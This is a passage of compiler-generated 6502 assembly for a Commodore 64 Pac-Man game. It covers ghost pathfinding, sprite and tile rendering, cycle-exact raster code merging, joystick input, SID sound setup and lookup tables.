LEVEL_YTILE_OFFSET+1,y sta.z ytiles+1 // return ytiles[xtile]; txa tay lda (ytiles),y rts __b1: lda #0 // } rts } // Choose the open direction that brings the ghost closest to the target // Uses Manhattan distance calculation // __zp($33) char choose_direction(__zp($4a) char open_directions, __register(Y) char ghost_xtile, __zp($37) char ghost_ytile, __register(X) char target_xtile, __zp($27) char target_ytile) choose_direction: { .label open_directions = $4a .label ghost_ytile = $37 .label target_ytile = $27 .label xdiff = $4c .label ydiff = $4b .label dist_left = $22 .label return = $33 .label direction = $33 .label dist_min = $22 // char xdiff = ghost_xtile-target_xtile tya stx.z $ff sec sbc.z $ff sta.z xdiff // char ydiff = ghost_ytile-target_ytile lda.z ghost_ytile sec sbc.z target_ytile sta.z ydiff // open_directions&UP lda #UP and.z open_directions // if(open_directions&UP) cmp #0 beq __b5 // char dist_up = ABS[xdiff] + ABS[ydiff-1] ldy.z xdiff lda ABS,y ldy.z ydiff clc adc ABS+-1,y tay // if(dist_up<dist_min) cpy #$ff bcs __b5 lda #UP sta.z direction jmp __b1 __b5: lda #STOP sta.z direction ldy #$ff __b1: // open_directions&DOWN lda #DOWN and.z open_directions // if(open_directions&DOWN) cmp #0 beq __b10 // char dist_down = ABS[xdiff] + ABS[ydiff+1] ldx.z xdiff lda ABS,x ldx.z ydiff clc adc ABS+1,x tax // if(dist_down<dist_min) sty.z $ff cpx.z $ff bcs __b11 lda #DOWN sta.z direction jmp __b2 __b11: tya tax __b2: // open_directions&LEFT lda #LEFT and.z open_directions // if(open_directions&LEFT) cmp #0 beq __b12 // char dist_left = ABS[xdiff-1] + ABS[ydiff] ldy.z xdiff lda ABS+-1,y ldy.z ydiff clc adc ABS,y sta.z dist_left // if(dist_left<dist_min) stx.z $ff cmp.z $ff bcs __b13 lda #LEFT sta.z direction jmp __b3 __b13: stx.z dist_min __b3: // open_directions&RIGHT lda #RIGHT and.z open_directions // if(open_directions&RIGHT) cmp #0 beq __b4 // char dist_right = ABS[xdiff+1] + ABS[ydiff] ldy.z xdiff lda ABS+1,y ldy.z ydiff clc adc ABS,y // if(dist_right<dist_min) cmp.z dist_min bcs __b4 lda #RIGHT sta.z return rts __b4: // } rts __b12: stx.z dist_min jmp __b3 __b10: tya tax jmp __b2 } // Copies the character c (an unsigned char) to the first num characters of the object pointed to by the argument str. // void * memset(__zp($6f) void *str, char c, __zp(5) unsigned int num) memset: { .label end = 5 .label dst = $b .label num = 5 .label str = $6f // if(num>0) lda.z num bne !+ lda.z num+1 beq __breturn !: // char* end = (char*)str + num clc lda.z end adc.z str sta.z end lda.z end+1 adc.z str+1 sta.z end+1 lda.z str sta.z dst lda.z str+1 sta.z dst+1 __b2: // for(char* dst = str; dst!=end; dst++) lda.z dst+1 cmp.z end+1 bne __b3 lda.z dst cmp.z end bne __b3 __breturn: // } rts __b3: // *dst = c lda #0 tay sta (dst),y // for(char* dst = str; dst!=end; dst++) inc.z dst bne !+ inc.z dst+1 !: jmp __b2 } // Decrunch crunched data using ByteBoozer // - crunched: Pointer to the start of the crunched data // void byteboozer_decrunch(__zp($24) char * volatile crunched) byteboozer_decrunch: { .label crunched = $24 // asm ldy crunched ldx crunched+1 jsr b2.Decrunch // } rts } // Merge unrolled cycle-exact logic code into an unrolled cycle-exact raster code. // The logic-code is merged into the raster code ensuring cycle-exact execution. If a logic-code block does not fit within the remaining cycle-budget of a raster-slot then NOPs/BIT $EA are used to reach the cycle-budget. // If the logic-code runs out before the raster-code ends then the remaining raster-slots are filled with NOP/BIT$EA. // If the raster-code runs out before the logic-code then the rest of the logic-code is added at the end. // An RTS is added at the very end. // // Parameters: // - dest_code: Address where the merged code is placed // - raster_code: The unrolled raster code blocks with information about cycles to be filled. Format is decribed below. // - logic_code: The unrolled logic code with information about cycles spent. Format is decribed below. // // Format of unrolled raster code. // A number of blocks that have the following structure: // <nn>* 0xff <cc> // <nn>* : some bytes of code. any number of bytes are allowed. // 0xff : signals the end of a block. // <cc> : If <cc> is 00 then this is the last block of the unrolled raster code. // If <cc> is non-zero it means that <cc> cycles must be spent here (the cycle budget of the slot). The merger merges logic code into the slot and fills with NOP's to match the number of cycles needed. // // Format of unrolled logic code. // A number of blocks that has the following structure: // <cc> <nn>* 0xff // <cc> : If <cc> is 00 then this is the last block of the unrolled logic code. No more bytes are used. // If <cc> is non-zero it holds the number of cycles used by the block of code. // <nn>* : some bytes of code. any number of bytes are allowed. This code uses exactly the number of cycles specified by <cc> // 0xff : signals the end of a block. // void merge_code(__zp(9) char *dest_code, __zp($b) char *raster_code, __zp(5) char *logic_code) merge_code: { // Cycle-count signalling the last block of the logic-code .const LOGIC_EXIT = 0 // Value signalling the end of a block of the logic-code .const LOGIC_END = $ff // Cycle-count signalling the last block of the raster-code .const RASTER_EXIT = 0 // Value signalling the end of a block of the raster-code .const RASTER_END = $ff .label dest_code = 9 .label raster_code = $b .label logic_cycles = 2 .label logic_code = 5 lda #<LOGIC_CODE_UNMERGED sta.z logic_code lda #>LOGIC_CODE_UNMERGED sta.z logic_code+1 lda #<RASTER_CODE sta.z dest_code lda #>RASTER_CODE sta.z dest_code+1 lda #<RASTER_CODE_UNMERGED sta.z raster_code lda #>RASTER_CODE_UNMERGED sta.z raster_code+1 // Output raster code until meeting RASTER_END signalling the end of a block __b1: // while(*raster_code!=RASTER_END) ldy #0 lda (raster_code),y cmp #RASTER_END beq !__b2+ jmp __b2 !__b2: // raster_code++; inc.z raster_code bne !+ inc.z raster_code+1 !: // char cycle_budget = *raster_code++ // Find the number of cycles ldy #0 lda (raster_code),y tax inc.z raster_code bne !+ inc.z raster_code+1 !: // if(cycle_budget==RASTER_EXIT) cpx #RASTER_EXIT bne __b4 __b3: // No more raster code - fill in the rest of the logic code // while(*logic_code!=LOGIC_EXIT) ldy #0 lda (logic_code),y cmp #LOGIC_EXIT bne __b15 // *dest_code++ = 0x60 // And add an RTS lda #$60 sta (dest_code),y // } rts __b15: // logic_code++; inc.z logic_code bne !+ inc.z logic_code+1 !: __b5: // Fill in the logic-code // while(*logic_code!=LOGIC_END) ldy #0 lda (logic_code),y cmp #LOGIC_END bne __b18 // logic_code++; inc.z logic_code bne !+ inc.z logic_code+1 !: jmp __b3 __b18: // *dest_code++ = *logic_code++ ldy #0 lda (logic_code),y sta (dest_code),y // *dest_code++ = *logic_code++; inc.z dest_code bne !+ inc.z dest_code+1 !: inc.z logic_code bne !+ inc.z logic_code+1 !: jmp __b5 // Fit the cycle budget with logic-code __b4: // while(cycle_budget>0) cpx #0 beq __b6 // char logic_cycles = *logic_code // Find the number of logic code cycles ldy #0 lda (logic_code),y sta.z logic_cycles // cycle_budget-1 txa tay dey // if(logic_cycles!=LOGIC_EXIT && (logic_cycles < cycle_budget-1 || logic_cycles==cycle_budget)) lda #LOGIC_EXIT cmp.z logic_cycles bne __b20 __b6: // Fit the cycle budget with NOPs __b10: // while(cycle_budget>0) cpx #0 bne __b11 jmp __b1 __b11: // if(cycle_budget==3) cpx #3 beq __b12 // *dest_code++ = 0xEA lda #$ea ldy #0 sta (dest_code),y // *dest_code++ = 0xEA; inc.z dest_code bne !+ inc.z dest_code+1 !: // cycle_budget -= 2 // NOP dex dex jmp __b6 __b12: // *dest_code++ = 0x24 lda #$24 ldy #0 sta (dest_code),y // *dest_code++ = 0x24; inc.z dest_code bne !+ inc.z dest_code+1 !: // *dest_code++ = 0xEA // BIT $EA lda #$ea ldy #0 sta (dest_code),y // *dest_code++ = 0xEA; inc.z dest_code bne !+ inc.z dest_code+1 !: // cycle_budget -= 3 txa axs #3 jmp __b6 __b20: // if(logic_cycles!=LOGIC_EXIT && (logic_cycles < cycle_budget-1 || logic_cycles==cycle_budget)) cpy.z logic_cycles beq !+ bcs __b9 !: cpx.z logic_cycles beq __b9 jmp __b10 __b9: // logic_code++; inc.z logic_code bne !+ inc.z logic_code+1 !: __b13: // Fill in the logic-code // while(*logic_code!=LOGIC_END) ldy #0 lda (logic_code),y cmp #LOGIC_END bne __b7 // logic_code++; inc.z logic_code bne !+ inc.z logic_code+1 !: // cycle_budget -= logic_cycles // Reduce the cycle budget txa sec sbc.z logic_cycles tax jmp __b4 __b7: // *dest_code++ = *logic_code++ ldy #0 lda (logic_code),y sta (dest_code),y // *dest_code++ = *logic_code++; inc.z dest_code bne !+ inc.z dest_code+1 !: inc.z logic_code bne !+ inc.z logic_code+1 !: jmp __b13 __b2: // *dest_code++ = *raster_code++ ldy #0 lda (raster_code),y sta (dest_code),y // *dest_code++ = *raster_code++; inc.z dest_code bne !+ inc.z dest_code+1 !: inc.z raster_code bne !+ inc.z raster_code+1 !: jmp __b1 } // Initialize the RENDER_INDEX table from sub-tables init_render_index: { .label __10 = $d .label __11 = $d .label render_index_xcol = 5 .label canvas_xcol = 3 .label canvas = $d .label render_index = 5 .label x_col = $14 .label render_index_xcol_1 = $b .label y_pos = $10 // Special column in sprite#9 .label render_ypos_table = 9 .label __12 = $d lda #<RENDER_INDEX sta.z render_index_xcol lda #>RENDER_INDEX sta.z render_index_xcol+1 lda #0 sta.z x_col __b1: // for(char x_col=0;x_col<26;x_col++) lda.z x_col cmp #$1a bcc __b2 // (RENDER_INDEX+24*0x100)[RENDER_OFFSET_YPOS_INC] = 0 // Fix the first entry of the inc_offset in the last column (set it to point to 0,0,6,6...) lda #0 sta RENDER_INDEX+$18*$100+RENDER_OFFSET_YPOS_INC // (RENDER_INDEX+25*0x100)[RENDER_OFFSET_YPOS_INC] = 0 sta RENDER_INDEX+$19*$100+RENDER_OFFSET_YPOS_INC // } rts __b2: // if(x_col>=24) lda.z x_col cmp #$18 bcc __b3 ldx #$b lda #<RENDER_YPOS_9TH sta.z render_ypos_table lda #>RENDER_YPOS_9TH sta.z render_ypos_table+1 jmp __b4 __b3: ldx #0 lda #<RENDER_YPOS sta.z render_ypos_table lda #>RENDER_YPOS sta.z render_ypos_table+1 __b4: // char * canvas_xcol = RENDER_XCOLS[x_col] lda.z x_col asl tay lda RENDER_XCOLS,y sta.z canvas_xcol lda RENDER_XCOLS+1,y sta.z canvas_xcol+1 lda.z render_index_xcol sta.z render_index_xcol_1 lda.z render_index_xcol+1 sta.z render_index_xcol_1+1 lda #0 sta.z y_pos __b5: // for(char y_pos=0;y_pos<148;y_pos+=2) lda.z y_pos cmp #$94 bcc __b6 // render_index += 0x100 lda.z render_index clc adc #<$100 sta.z render_index lda.z render_index+1 adc #>$100 sta.z render_index+1 // for(char x_col=0;x_col<26;x_col++) inc.z x_col jmp __b1 __b6: // char * canvas = canvas_xcol + render_ypos_table[(unsigned int)y_pos] lda.z y_pos sta.z __11 lda #0 sta.z __11+1 asl.z __10 rol.z __10+1 clc lda.z __12 adc.z render_ypos_table sta.z __12 lda.z __12+1 adc.z render_ypos_table+1 sta.z __12+1 ldy #0 clc lda (canvas),y adc.z canvas_xcol pha iny lda (canvas),y adc.z canvas_xcol+1 sta.z canvas+1 pla sta.z canvas // BYTE0(canvas) // render_index_xcol[RENDER_OFFSET_CANVAS_LO] = BYTE0(canvas) ldy #0 sta (render_index_xcol_1),y // BYTE1(canvas) lda.z canvas+1 // render_index_xcol[RENDER_OFFSET_CANVAS_HI] = BYTE1(canvas) ldy #RENDER_OFFSET_CANVAS_HI sta (render_index_xcol_1),y // render_index_xcol[RENDER_OFFSET_YPOS_INC] = ypos_inc_offset ldy #RENDER_OFFSET_YPOS_INC txa sta (render_index_xcol_1),y // ypos_inc_offset += 2 inx inx // if(ypos_inc_offset>=23) cpx #$17 bcc __b8 // ypos_inc_offset-=21 txa axs #$15 __b8: // render_index_xcol++; inc.z render_index_xcol_1 bne !+ inc.z render_index_xcol_1+1 !: // y_pos+=2 lda.z y_pos clc adc #2 sta.z y_pos jmp __b5 } // Show the splash screen splash_show: { // Show splash screen .label splash = $b .label ypos = $10 .label xcol = $14 lda #<SPLASH sta.z splash lda #>SPLASH sta.z splash+1 lda #0 sta.z xcol __b1: // for(char xcol=0;xcol<25;xcol++) lda.z xcol cmp #$19 bcc __b4 // } rts __b4: lda #0 sta.z ypos __b2: // for(char ypos=0;ypos<147;ypos++) lda.z ypos cmp #$93 bcc __b3 // for(char xcol=0;xcol<25;xcol++) inc.z xcol jmp __b1 __b3: // char pixels = *splash++ // Render 8px x 1px ldy #0 lda (splash),y tax inc.z splash bne !+ inc.z splash+1 !: // render(xcol, ypos, pixels) stx.z render.pixels jsr render // for(char ypos=0;ypos<147;ypos++) inc.z ypos jmp __b2 } // Initialize bobs_restore with data to prevent crash on the first call init_bobs_restore: { .label CANVAS_HIDDEN = $ea00 .label bob_restore = 9 lda #<bobs_restore sta.z bob_restore lda #>bobs_restore sta.z bob_restore+1 ldx #0 __b1: // for(char bob=0;bob<NUM_BOBS*2;bob++) cpx #NUM_BOBS*2 bcc __b2 // logic_tile_ptr = LEVEL_TILES + 64*18 + 12 // Also set the logic tile to something sane lda #<LEVEL_TILES+$40*$12+$c sta.z logic_tile_ptr lda #>LEVEL_TILES+$40*$12+$c sta.z logic_tile_ptr+1 // logic_tile_xcol = 12 lda #$c sta.z logic_tile_xcol // logic_tile_yfine = 35 lda #$23 sta.z logic_tile_yfine // } rts __b2: ldy #0 __b3: // for(char i=0;i<SIZE_BOB_RESTORE;i++) cpy #SIZE_BOB_RESTORE bcc __b4 // bob_restore[0] = BYTE0(CANVAS_HIDDEN) lda #0 tay sta (bob_restore),y // bob_restore[1] = BYTE1(CANVAS_HIDDEN) lda #>CANVAS_HIDDEN ldy #1 sta (bob_restore),y // bob_restore[3] = BYTE0(CANVAS_HIDDEN) lda #0 ldy #3 sta (bob_restore),y // bob_restore[4] = BYTE1(CANVAS_HIDDEN) lda #>CANVAS_HIDDEN ldy #4 sta (bob_restore),y // bob_restore += SIZE_BOB_RESTORE lda #SIZE_BOB_RESTORE clc adc.z bob_restore sta.z bob_restore bcc !+ inc.z bob_restore+1 !: // for(char bob=0;bob<NUM_BOBS*2;bob++) inx jmp __b1 __b4: // bob_restore[i] = 0 lda #0 sta (bob_restore),y // for(char i=0;i<SIZE_BOB_RESTORE;i++) iny jmp __b3 } // Initialize sprite pointers on all screens (in both graphics banks) init_sprite_pointers: { .const SPRITE_ID_0 = $ff&(SPRITES_1&$3fff)/$40 .label sprites_ptr_1 = 9 .label sprites_ptr_2 = 7 lda #<SCREENS_2+OFFSET_SPRITE_PTRS sta.z sprites_ptr_2 lda #>SCREENS_2+OFFSET_SPRITE_PTRS sta.z sprites_ptr_2+1 lda #<SCREENS_1+OFFSET_SPRITE_PTRS sta.z sprites_ptr_1 lda #>SCREENS_1+OFFSET_SPRITE_PTRS sta.z sprites_ptr_1+1 ldx #0 __b1: // for(char screen=0;screen<14;screen++) cpx #$e bcc __b4 // } rts __b4: ldy #0 __b2: // for(char sprite=0; sprite<8; sprite++) cpy #8 bcc __b3 // sprites_ptr_1 += 0x400 lda.z sprites_ptr_1 clc adc #<$400 sta.z sprites_ptr_1 lda.z sprites_ptr_1+1 adc #>$400 sta.z sprites_ptr_1+1 // sprites_ptr_2 += 0x400 lda.z sprites_ptr_2 clc adc #<$400 sta.z sprites_ptr_2 lda.z sprites_ptr_2+1 adc #>$400 sta.z sprites_ptr_2+1 // for(char screen=0;screen<14;screen++) inx jmp __b1 __b3: // SPRITE_ID_0 + screen txa clc adc #SPRITE_ID_0 // char sprite_id = SPRITE_ID_0 + screen + sprites_id[sprite] clc adc sprites_id,y // sprites_ptr_1[sprite] = sprite_id sta (sprites_ptr_1),y // sprites_ptr_2[sprite] = sprite_id sta (sprites_ptr_2),y // for(char sprite=0; sprite<8; sprite++) iny jmp __b2 .segment Data sprites_id: .byte 0, $70, $60, $50, $40, $30, $20, $10 } .segment Code // Copy block of memory (forwards) // Copies the values of num bytes from the location pointed to by source directly to the memory block pointed to by destination. // void * memcpy(void *destination, void *source, unsigned int num) memcpy: { .label destination = INTRO_MUSIC_CRUNCHED_UPPER .label source = INTRO_MUSIC_CRUNCHED .label src_end = source+INTRO_MUSIC_CRUNCHED_SIZE .label dst = 9 .label src = 7 lda #<destination sta.z dst lda #>destination sta.z dst+1 lda #<source sta.z src lda #>source sta.z src+1 __b1: // while(src!=src_end) lda.z src+1 cmp #>src_end bne __b2 lda.z src cmp #<src_end bne __b2 // } rts __b2: // *dst++ = *src++ ldy #0 lda (src),y sta (dst),y // *dst++ = *src++; inc.z dst bne !+ inc.z dst+1 !: inc.z src bne !+ inc.z src+1 !: jmp __b1 } // Prepare for joystick control joyinit: { // CIA1->PORT_A_DDR = 0x00 // Joystick Read Mode lda #0 sta CIA1+OFFSET_STRUCT_MOS6526_CIA_PORT_A_DDR // } rts } // Return 1 if joy #2 fire is pressed joyfire: { // CIA1->PORT_A & 0x10 lda #$10 and CIA1 // if( (CIA1->PORT_A & 0x10) == 0 ) cmp #0 beq __b1 lda #0 rts __b1: lda #1 // } rts } // Initialize the LEVEL_TILES_DIRECTIONS table with bits representing all open (non-blocked) movement directions from a tile init_level_tile_directions: { .label directions = 9 .label ytile = $14 .label open_directions = $f .label xtile = $10 lda #<LEVEL_TILES_DIRECTIONS sta.z directions lda #>LEVEL_TILES_DIRECTIONS sta.z directions+1 lda #0 sta.z ytile __b1: // for(char ytile=0;ytile<37;ytile++) lda.z ytile cmp #$25 bcc __b4 // } rts __b4: lda #0 sta.z xtile __b2: // for(char xtile=0; xtile<50; xtile++) lda.z xtile cmp #$32 bcc __b3 // directions += 0x40 lda #$40 clc adc.z directions sta.z directions bcc !+ inc.z directions+1 !: // for(char ytile=0;ytile<37;ytile++) inc.z ytile jmp __b1 __b3: // level_tile_get(xtile-1, ytile) ldx.z xtile dex lda.z ytile jsr level_tile_get // level_tile_get(xtile-1, ytile) tax // if(TILES_TYPE[level_tile_get(xtile-1, ytile)]!=WALL) lda TILES_TYPE,x cmp #WALL beq __b9 lda #LEFT sta.z open_directions jmp __b5 __b9: lda #0 sta.z open_directions __b5: // level_tile_get(xtile+1, ytile) ldx.z xtile inx lda.z ytile jsr level_tile_get // level_tile_get(xtile+1, ytile) tax // if(TILES_TYPE[level_tile_get(xtile+1, ytile)]!=WALL) lda TILES_TYPE,x cmp #WALL beq __b6 // open_directions |= RIGHT lda #RIGHT ora.z open_directions sta.z open_directions __b6: // level_tile_get(xtile, ytile-1) lda.z ytile sec sbc #1 ldx.z xtile jsr level_tile_get // level_tile_get(xtile, ytile-1) // if(TILES_TYPE[level_tile_get(xtile, ytile-1)]!=WALL) tay lda TILES_TYPE,y cmp #WALL beq __b7 // open_directions |= UP lda #UP ora.z open_directions sta.z open_directions __b7: // level_tile_get(xtile, ytile+1) lda.z ytile clc adc #1 ldx.z xtile jsr level_tile_get // level_tile_get(xtile, ytile+1) // if(TILES_TYPE[level_tile_get(xtile, ytile+1)]!=WALL) tay lda TILES_TYPE,y cmp #WALL beq __b8 // open_directions |= DOWN lda #DOWN ora.z open_directions sta.z open_directions __b8: // directions[xtile] = open_directions lda.z open_directions ldy.z xtile sta (directions),y // for(char xtile=0; xtile<50; xtile++) inc.z xtile jmp __b2 } // Show the level by rendering all tiles // Returns the number of pills on the level level_show: { .label return = 9 .label level = 7 .label ytile = $10 .label tile_right = 2 .label xtile = $13 .label count = 9 .label xcol = $f lda #<LEVEL_TILES sta.z level lda #>LEVEL_TILES sta.z level+1 lda #<0 sta.z count sta.z count+1 sta.z ytile __b1: // for(char ytile=0;ytile<37;ytile++) lda.z ytile cmp #$25 bcc __b4 // } rts __b4: lda #0 sta.z xtile sta.z xcol __b2: // for(char xcol=0, xtile=0; xcol<25; xcol++) lda.z xcol cmp #$19 bcc __b3 // level += 0x40 lda #$40 clc adc.z level sta.z level bcc !+ inc.z level+1 !: // for(char ytile=0;ytile<37;ytile++) inc.z ytile jmp __b1 __b3: // char tile_left = level[xtile++] ldy.z xtile lda (level),y tax iny // if(TILES_TYPE[tile_left]==PILL) lda TILES_TYPE,x cmp #PILL bne __b5 // count++; inc.z count bne !+ inc.z count+1 !: __b5: // char tile_right = level[xtile++] lda (level),y sta.z tile_right iny sty.z xtile // if(TILES_TYPE[tile_right]==PILL) lda #PILL ldy.z tile_right cmp TILES_TYPE,y bne __b6 // count++; inc.z count bne !+ inc.z count+1 !: __b6: // render_tiles(xcol, ytile, tile_left, tile_right) ldy.z tile_right jsr render_tiles // for(char xcol=0, xtile=0; xcol<25; xcol++) inc.z xcol jmp __b2 } // Sound effects for pacman pacman_sound_init: { // SID->VOLUME_FILTER_MODE = 0x0f // Set master volume lda #$f sta SID+OFFSET_STRUCT_MOS6581_SID_VOLUME_FILTER_MODE // SID->CH1_FREQ = 0 // Channel 1 is Pacman eating sound lda #<0 sta SID sta SID+1 // SID->CH1_PULSE_WIDTH = 0 sta SID+OFFSET_STRUCT_MOS6581_SID_CH1_PULSE_WIDTH sta SID+OFFSET_STRUCT_MOS6581_SID_CH1_PULSE_WIDTH+1 // SID->CH1_CONTROL = 0 sta SID+OFFSET_STRUCT_MOS6581_SID_CH1_CONTROL // SID->CH1_ATTACK_DECAY = 0 sta SID+OFFSET_STRUCT_MOS6581_SID_CH1_ATTACK_DECAY // SID->CH1_SUSTAIN_RELEASE = 0xf0 lda #$f0 sta SID+OFFSET_STRUCT_MOS6581_SID_CH1_SUSTAIN_RELEASE // } rts } // Render graphic pixels into the 9 all-border sprites // - xcol: x column (0-24). The x-column represents 8 bits of data, 4 mc pixels, 16 on-screen pixels (due to x-expanded sprites) // - ypos: y position (0-145). The y-position is a line on the screen. Since every second line is black each ypos represents a 2 pixel distance. // - pixels: The pixel data to set // void render(__zp($14) char xcol, __zp($10) char ypos, __zp($13) char pixels) render: { .label render_index_xcol = $d .label canvas_offset = 9 .label canvas1 = 7 .label canvas2 = 9 .label ypix = 2 .label xcol = $14 .label ypos = $10 .label pixels = $13 // char ytile = ypos/4 lda.z ypos lsr lsr tay // BYTE1(RENDER_INDEX) + xcol lax.z xcol axs #-[>RENDER_INDEX] // ytile*2 tya asl // MAKEWORD( BYTE1(RENDER_INDEX) + xcol, ytile*2 ) stx.z render_index_xcol+1 sta.z render_index_xcol // unsigned int canvas_offset = MAKEWORD( render_index_xcol[RENDER_OFFSET_CANVAS_HI], render_index_xcol[RENDER_OFFSET_CANVAS_LO] ) ldy #RENDER_OFFSET_CANVAS_HI lda (render_index_xcol),y sta.z canvas_offset+1 ldy #0 lda (render_index_xcol),y sta.z canvas_offset // char * canvas1 = SPRITES_1 + canvas_offset clc adc #<SPRITES_1 sta.z canvas1 lda.z canvas_offset+1 adc #>SPRITES_1 sta.z canvas1+1 // char * canvas2 = SPRITES_2 + canvas_offset lda.z canvas2 clc adc #<SPRITES_2 sta.z canvas2 lda.z canvas2+1 adc #>SPRITES_2 sta.z canvas2+1 // char ypos_inc_offset = render_index_xcol[RENDER_OFFSET_YPOS_INC] ldy #RENDER_OFFSET_YPOS_INC lda (render_index_xcol),y tax // char ypix = ypos&3 // Move the last few y-pixels lda #3 and.z ypos sta.z ypix ldy #0 __b1: // for(char i=0;i<ypix;i++) cpy.z ypix bcc __b2 // *canvas1 = pixels // Render the pixels lda.z pixels ldy #0 sta (canvas1),y // *canvas2 = pixels sta (canvas2),y // } rts __b2: // canvas1 += RENDER_YPOS_INC[ypos_inc_offset] lda RENDER_YPOS_INC,x clc adc.z canvas1 sta.z canvas1 bcc !+ inc.z canvas1+1 !: // canvas2 += RENDER_YPOS_INC[ypos_inc_offset] lda RENDER_YPOS_INC,x clc adc.z canvas2 sta.z canvas2 bcc !+ inc.z canvas2+1 !: // ypos_inc_offset++; inx // for(char i=0;i<ypix;i++) iny jmp __b1 } // Get the level tile at a given (xtile, ytile) position // Returns the TILE ID // If xtile of ytile is outside the legal range the empty tile (0) is returned // __register(A) char level_tile_get(__register(X) char xtile, __register(A) char ytile) level_tile_get: { .label ytiles = $d // if(xtile>49 || ytile>36) cpx #$31+1 bcs __b1 cmp #$24+1 bcs __b1 // char* ytiles = LEVEL_TILES + LEVEL_YTILE_OFFSET[ytile] asl tay clc lda #<LEVEL_TILES adc LEVEL_YTILE_OFFSET,y sta.z ytiles lda #>LEVEL_TILES adc LEVEL_YTILE_OFFSET+1,y sta.z ytiles+1 // return ytiles[xtile]; txa tay lda (ytiles),y rts __b1: lda #0 // } rts } // Renders 2x1 tiles on the canvas. // Tiles are 4x4 px. This renders 8px x 4px. // - xcol: The x column position (0-24) (a column is 8 pixels) // - ytile: The y tile position (0-37). Tile y position 0 is a special half-tile at the top of the screen. // - tile_left: The left tile ID. // - tile_right: The right tile ID. // void render_tiles(__zp($f) char xcol, __zp($10) char ytile, __register(X) char tile_left, __register(Y) char tile_right) render_tiles: { .label tile_left_pixels = $d .label tile_right_pixels = $b .label render_index_xcol = $11 .label canvas_offset = 3 .label canvas1 = 5 .label canvas2 = 3 .label y = 2 .label xcol = $f .label ytile = $10 // tile_left*4 txa asl asl // char * tile_left_pixels = TILES_LEFT + tile_left*4 clc adc #<TILES_LEFT sta.z tile_left_pixels lda #>TILES_LEFT adc #0 sta.z tile_left_pixels+1 // tile_right*4 tya asl asl // char * tile_right_pixels = TILES_RIGHT + tile_right*4 clc adc #<TILES_RIGHT sta.z tile_right_pixels lda #>TILES_RIGHT adc #0 sta.z tile_right_pixels+1 // BYTE1(RENDER_INDEX) + xcol lax.z xcol axs #-[>RENDER_INDEX] // ytile*2 lda.z ytile asl // MAKEWORD( BYTE1(RENDER_INDEX) + xcol, ytile*2 ) stx.z render_index_xcol+1 sta.z render_index_xcol // unsigned int canvas_offset = MAKEWORD( render_index_xcol[RENDER_OFFSET_CANVAS_HI], render_index_xcol[RENDER_OFFSET_CANVAS_LO] ) ldy #RENDER_OFFSET_CANVAS_HI lda (render_index_xcol),y sta.z canvas_offset+1 ldy #0 lda (render_index_xcol),y sta.z canvas_offset // char * canvas1 = SPRITES_1 + canvas_offset clc adc #<SPRITES_1 sta.z canvas1 lda.z canvas_offset+1 adc #>SPRITES_1 sta.z canvas1+1 // char * canvas2 = SPRITES_2 + canvas_offset lda.z canvas2 clc adc #<SPRITES_2 sta.z canvas2 lda.z canvas2+1 adc #>SPRITES_2 sta.z canvas2+1 // char ypos_inc_offset = render_index_xcol[RENDER_OFFSET_YPOS_INC] ldy #RENDER_OFFSET_YPOS_INC lda (render_index_xcol),y tax lda #0 sta.z y __b1: // for(char y=0;y<4;y++) lda.z y cmp #4 bcc __b2 // } rts __b2: // char pixels = tile_left_pixels[y] | tile_right_pixels[y] ldy.z y lda (tile_left_pixels),y ora (tile_right_pixels),y // *canvas1 = pixels ldy #0 sta (canvas1),y // *canvas2 = pixels sta (canvas2),y // canvas1 += RENDER_YPOS_INC[ypos_inc_offset] lda RENDER_YPOS_INC,x clc adc.z canvas1 sta.z canvas1 bcc !+ inc.z canvas1+1 !: // canvas2 += RENDER_YPOS_INC[ypos_inc_offset] lda RENDER_YPOS_INC,x clc adc.z canvas2 sta.z canvas2 bcc !+ inc.z canvas2+1 !: // ypos_inc_offset++; inx // for(char y=0;y<4;y++) inc.z y jmp __b1 } .segment Data // The byteboozer decruncher BYTEBOOZER: .const B2_ZP_BASE = $fc #import "byteboozer_decrunch.asm" // Pacman eating sound PACMAN_CH1_FREQ_HI: .byte $23, $1d, $1a, $17, $15, $12, 0, 0, 0, 0, 0, $19, $1a, $1c, $1d, $20, $23, 0, 0, 0, 0, 0 PACMAN_CH1_CONTROL: .byte $21, $21, $21, $21, $21, $21, 0, 0, 0, 0, 0, $21, $21, $21, $21, $21, $21, 0, 0, 0, 0, 0 // Address of the first pixel each x column RENDER_XCOLS: .word 0, 1, 2, $400, $401, $402, $800, $801, $802, $c00, $c01, $c02, $1000, $1001, $1002, $1400, $1401, $1402, $1800, $1801, $1802, $1c00, $1c01, $1c02, 0, 0 // Offset for each y-position from the first pixel of an X column RENDER_YPOS: .word 0, 0, 0, 6, $c, $12, $18, $1e, $24, $2a, $30, $36, $3c, $40+3, $40+9, $40+$f, $40+$15, $40+$1b, $40+$21, $40+$27, $40+$2d, $40+$33, $40+$39, $80, $80+6, $80+$c, $80+$12, $80+$18, $80+$1e, $80+$24, $80+$2a, $80+$30, $80+$36, $80+$3c, $c0+3, $c0+9, $c0+$f, $c0+$15, $c0+$1b, $c0+$21, $c0+$27, $c0+$2d, $c0+$33, $c0+$39, $100, $100+6, $100+$c, $100+$12, $100+$18, $100+$1e, $100+$24, $100+$2a, $100+$30, $100+$36, $100+$3c, $140+3, $140+9, $140+$f, $140+$15, $140+$1b, $140+$21, $140+$27, $140+$2d, $140+$33, $140+$39, $180, $180+6, $180+$c, $180+$12, $180+$18, $180+$1e, $180+$24, $180+$2a, $180+$30, $180+$36, $180+$3c, $1c0+3, $1c0+9, $1c0+$f, $1c0+$15, $1c0+$1b, $1c0+$21, $1c0+$27, $1c0+$2d, $1c0+$33, $1c0+$39, $200, $200+6, $200+$c, $200+$12, $200+$18, $200+$1e, $200+$24, $200+$2a, $200+$30, $200+$36, $200+$3c, $240+3, $240+9, $240+$f, $240+$15, $240+$1b, $240+$21, $240+$27, $240+$2d, $240+$33, $240+$39, $280, $280+6, $280+$c, $280+$12, $280+$18, $280+$1e, $280+$24, $280+$2a, $280+$30, $280+$36, $280+$3c, $2c0+3, $2c0+9, $2c0+$f, $2c0+$15, $2c0+$1b, $2c0+$21, $2c0+$27, $2c0+$2d, $2c0+$33, $2c0+$39, $300, $300+6, $300+$c, $300+$12, $300+$18, $300+$1e, $300+$24, $300+$2a, $300+$30, $300+$36, $300+$3c, $340+3, $340+9, $340+$f, $340+$15, $340+$1b, $340+$21, $340+$27, $340+$2d, $340+$33, $340+$39 // Offset for each y-position from the first pixel of an X column in sprite#9 RENDER_YPOS_9TH: .word 3, 3, 3, 9, $f, $15, $1b, $21, $27, $2d, $33, $39, $40, $40+6, $40+$c, $40+$12, 